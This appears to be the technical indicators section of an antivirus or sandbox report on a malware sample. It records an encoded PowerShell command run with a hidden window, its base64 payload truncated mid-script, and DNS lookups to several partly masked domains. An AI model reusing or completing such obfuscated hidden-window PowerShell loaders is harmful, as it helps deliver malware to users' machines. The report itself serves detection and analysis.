Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABYAGoAbgBpAHkAYwBnAG8AagBvAHoAeQA9ACcAWQBoAGkAbQBmAGYAYgB1AGYAaQBwAHcAaAAnADsAJABNAGMAdQB5AGQAegBxAG...
- DNS ASK fa#####ignmenthelp.com
- DNS ASK fi###rau.com
- DNS ASK cu###tinhoc.net
- DNS ASK as###rkets.com
- DNS ASK ch###daps.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABYAGoAbgBpAHkAYwBnAG8AagBvAHoAeQA9ACcAWQBoAGkAbQBmAGYAYgB1AGYAaQBwAHcAaAAnADsAJABNAGMAdQB5AGQAegBxAG...' (with hidden window)